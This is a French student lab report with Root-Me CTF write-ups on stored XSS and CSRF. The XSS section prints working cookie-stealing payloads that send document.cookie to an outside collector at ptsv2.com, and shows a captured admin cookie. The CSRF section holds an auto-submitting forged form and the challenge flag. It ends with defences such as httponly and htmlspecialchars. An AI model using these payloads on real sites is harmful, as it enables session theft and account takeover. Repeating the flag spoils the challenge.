Aller au contenu

TP-07 / Faille Web Client XSS

Élève Date Sujet
02/06/2022 TP-07 / Faille Web Client XSS

XSS - Stockée 1

Lien du CTF.

Analyse du site

Le formulaire du forum permet d'injecter du code, notamment du javascript.

<script>alert("Hello world");</script>

analyse.png

Lorsque l'on appui sur send, notre script est bien éxécuté :

alert.png

Compromission

Java Script + balise img

Avec l'aide d'un site ou l'on peu poster des données (ex : ptsv2.com), nous somme en mesures de créer un lien vers une fausse image, avec les données du cookies administrateur. En réalité, nous recevrons chaque cookies de chaque personne qui accèdera à cette "image".

Les retours à la ligne de semble pas être pris en compte.

Ci-dessous le code injecté :

<script>document.write('<img SRC = "https://ptsv2.com/t/1xojy-1656579182/post?' +'location='+document.location +'&cookie='+ document.cookie +'">');</script>

injection.png

Le résultat après queqlues minutes :

pts2-1.png

Nous avons le cookie admin !!

Parameter Values cookie ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6 location http://challenge01.root-me.org/web-client/ch18/?idx=3

Full JS

Ci-dessous le code injecté :

<script>document.location = "https://ptsv2.com/t/1xojy-1656579182/post?cookie="+document.cookie;</script>
full_js

Obtention du cookie après quelques minutes.

full_js_cookie

Finalisation de l'attaque

Il ne reste plus qu'a configurer le cookie de l'administrateur.

cookie_admin

Diagramme

XSS

Protection

  • Activer : httponly (https://www.php.net/manual/fr/function.setcookie.php) : empéche la récupération des cookies via des language de programmation tel que Java Script.

  • Utiliser htmlspecialchars pour des entrées utilisateurs (https://www.php.net/manual/fr/function.htmlspecialchars.php).

CSRF - 0 protection (En cours de rédaction)

Lien du CTF

Analyse du site

Création d'un compte :

create account

En analysant le code source nous voyons des requêtes SQL en commentaires :

<!-- l --><!-- SELECT * FROM membres WHERE username='test' and sessid_user='9db6bdae26fec6a3a2e2cc0ce6819dda' --><!-- INSERT INTO membres ( username, password,sessid_user,status_profile) VALUES ( 'test', 'test','9db6bdae26fec6a3a2e2cc0ce6819dda',0) -->

Une fois connecté, sur la page Profile on aperçois une case à cocher pour activer le compte. Cepednant, seul l'administrateur du site peu activer le compte pour accéder à l'espace private.

Pour cela, j'ai récupérer le formulaire de la page Profile que j'ai légérement modifié en y inculant l'activation du compte. Il faut maintenant trouver un point d'injection.

Compromission

Testons une injection de code avec le formulaire de contact :

Post

Code injecté :

<form name="evilform" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="test">
<input type="checkbox" name="status" checked>
</form>
<script>document.evilform.submit()</script>

Une fois le script envoyé, essayons de retourner sur la page de Private afin de vérifier l'activation du compte :

flag

Parfait, l'injection de code a fonctionné !

Good job dude, flag is : Csrf_Fr33style-L3v3l1! 

Diagramme

CSRF

Différence avec le challenge CSRF - contournement de jeton

Le challenge CSRF - contournement de jeton, nécessite le jeton CSRF Admin afin de pouvoir modifier le status du compte. De ce fait, sans ce jeton, l'injection de code malveillant n'est pas fonctionnelle.